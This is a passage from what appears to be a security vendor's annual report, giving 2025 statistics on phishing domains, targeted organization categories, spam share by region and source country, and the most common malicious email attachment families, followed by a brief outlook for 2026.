Malawi 16.65%
Tunisia 16.19%
Colombia 15.67%
Brazil 15.48%
Ecuador 15.27%
Madagascar 15.23%
Kenya 15.23%
Vietnam 15.05%

** Share of users who encountered phishing out of the total number of Kaspersky users in the country/territory, 2025

Top-level domains

In 2025, breaking a trend that had persisted for several years, the majority of phishing pages were hosted within the XYZ TLD zone, accounting for 21.64% – a three-fold increase compared to 2024. The second most popular zone was TOP (15.45%), followed by BUZZ (13.58%). This high demand can be attributed to the low cost of domain registration in these zones. The COM domain, which had previously held the top spot consistently, fell to fourth place (10.52%). It is important to note that this decline is partially driven by the popularity of typosquatting attacks: threat actors frequently spoof sites within the COM domain by using alternative suffixes, such as example-com.site instead of example.com. Following COM is the BOND TLD, entering the TOP 10 for the first time with a 5.56% share. As this zone is typically associated with financial websites, the surge in malicious interest there is a logical progression for financial phishing. The sixth and seventh positions are held by ONLINE (3.39%) and SITE (2.02%), which occupied the fourth and fifth spots, respectively, in 2024. In addition, three domain zones that had not previously appeared in our statistics emerged as popular hosting environments for phishing sites. These included the CFD domain (1.97%), typically used for websites in the clothing, fashion, and design sectors; the Polish national top-level domain, PL (1.75%); and the LOL domain (1.60%).

Most frequent top-level domains for phishing pages, 2025 (download)

Organizations targeted by phishing attacks

The rankings of organizations targeted by phishers are based on detections by the Anti-Phishing deterministic component on user computers. The component detects all pages with phishing content that the user has tried to open by following a link in an email message or on the web, as long as links to these pages are present in the Kaspersky database.

Phishing pages impersonating web services (27.42%) and global internet portals (15.89%) maintained their positions in the TOP 10, continuing to rank first and second, respectively. Online stores (11.27%), a traditional favorite among threat actors, returned to the third spot. In 2025, phishers showed increased interest in online gamers: websites mimicking gaming platforms jumped from ninth to fifth place (7.58%). These are followed by banks (6.06%), payment systems (5.93%), messengers (5.70%), and delivery services (5.06%). Phishing attacks also targeted social media (4.42%) and government services (1.77%) accounts.

Distribution of targeted organizations by category, 2025 (download)

Statistics: spam

Share of spam in email traffic

In 2025, the average share of spam in global email traffic was 44.99%, representing a decrease of 2.28 percentage points compared to the previous year. Notably, contrary to the trends of the past several years, the fourth quarter was the busiest one: an average of 49.26% of emails were categorized as spam, with peak activity occurring in November (52.87%) and December (51.80%). Throughout the rest of the year, the distribution of junk mail remained relatively stable without significant spikes, maintaining an average share of approximately 43.50%.

Share of spam in global email traffic, 2025 (download)

In the Russian web segment (Runet), we observed a more substantial decline: the average share of spam decreased by 5.3 percentage points to 43.27%. Deviating from the global trend, the fourth quarter was the quietest period in Russia, with a share of 41.28%. We recorded the lowest level of spam activity in December, when only 36.49% of emails were identified as junk. January and February were also relatively calm, with average values of 41.94% and 43.09%, respectively. Conversely, the Runet figures for March–October correlated with global figures: no major surges were observed, spam accounting for an average of 44.30% of total email traffic during these months.

Share of spam in Runet email traffic, 2025 (download)

Countries and territories where spam originated

The top three countries in the 2025 rankings for the volume of outgoing spam mirror the distribution of the previous year: Russia, China, and the United States. However, the share of spam originating from Russia decreased from 36.18% to 32.50%, while the shares of China (19.10%) and the U.S. (10.57%) each increased by approximately 2 percentage points. Germany rose to fourth place (3.46%), up from sixth last year, displacing Kazakhstan (2.89%). Hong Kong followed in sixth place (2.11%). The Netherlands and Japan shared the next spot with identical shares of 1.95%; however, we observed a year-over-year increase in outgoing spam from the Netherlands, whereas Japan saw a decline. The TOP 10 is rounded out by Brazil (1.94%) and Belarus (1.74%), the latter ranking for the first time.

TOP 20 countries and territories where spam originated in 2025 (download)

Malicious email attachments

In 2025, Kaspersky solutions blocked 144,722,674 malicious email attachments, an increase of nineteen million compared to the previous year. The beginning and end of the year were traditionally the most stable periods; however, we also observed a notable decline in activity during August and September. Peaks in email antivirus detections occurred in June, July, and November.

Email antivirus detections, 2025 (download)

The most prevalent malicious email attachment in 2025 was the Makoob Trojan family, which covertly harvests system information and user credentials. Makoob first entered the TOP 10 in 2023 in eighth place, rose to third in 2024, and secured the top spot in 2025 with a share of 4.88%. Following Makoob, as in the previous year, was the Badun Trojan family (4.13%), which typically disguises itself as electronic documents. The third spot is held by the Taskun family (3.68%), which creates malicious scheduled tasks, followed by Agensla stealers (3.16%), which were the most common malicious attachments in 2024. Next are Trojan.Win32.AutoItScript scripts (2.88%), appearing in the rankings for the first time. In sixth place is the Noon spyware for all Windows systems (2.63%), which also occupied the tenth spot with its variant specifically targeting 32-bit systems (1.10%). Rounding out the TOP 10 are Hoax.HTML.Phish (1.98%) phishing attachments, Guloader downloaders (1.90%) – a newcomer to the rankings – and Badur (1.56%) PDF documents containing suspicious links.

TOP 10 malware families distributed via email attachments, 2025 (download)

The distribution of specific malware samples traditionally mirrors the distribution of malware families almost exactly. The only differences are that a specific variant of the Agensla stealer ranked sixth instead of fourth (2.53%), and the Phish and Guloader samples swapped positions (1.58% and 1.78%, respectively). Rounding out the rankings in tenth place is the password stealer Trojan-PSW.MSIL.PureLogs.gen with a share of 1.02%.

TOP 10 malware samples distributed via email attachments, 2025 (download)

Countries and territories targeted by malicious mailings

The highest volume of malicious email attachments was blocked on devices belonging to users in China (13.74%). For the first time in two years, Russia dropped to second place with a share of 11.18%. Following closely behind are Mexico (8.18%) and Spain (7.70%), which swapped places compared to the previous year. Email antivirus triggers saw a slight increase in Türkiye (5.19%), which maintained its fifth-place position. Sixth and seventh places are held by Vietnam (4.14%) and Malaysia (3.70%); both countries climbed higher in the TOP 10 due to an increase in detection shares. These are followed by the UAE (3.12%), which held its position from the previous year. Italy (2.43%) and Colombia (2.07%) also entered the TOP 10 list of targets for malicious mailshots.

TOP 20 countries and territories targeted by malicious mailshots, 2025 (download)

Conclusion

2026 will undoubtedly be marked by novel methods of exploiting artificial intelligence capabilities. At the same time, messaging app credentials will remain a highly sought-after prize for threat actors. While new schemes are certain to emerge, they will likely supplement rather than replace time-tested tricks and tactics. This underscores the reality that, alongside the deployment of robust security software, users must remain vigilant and exercise extreme caution toward any online offers that raise even the slightest suspicion.

The intensified focus on government service credentials signals a rise in potential impact; unauthorized access to these services can lead to financial theft, data breaches, and full-scale identity theft. Furthermore, the increased abuse of legitimate tools and the rise of multi-stage attacks – which often begin with seemingly harmless files or links – demonstrate a concerted effort by fraudsters to lull users into a false sense of security while pursuing their malicious objectives.

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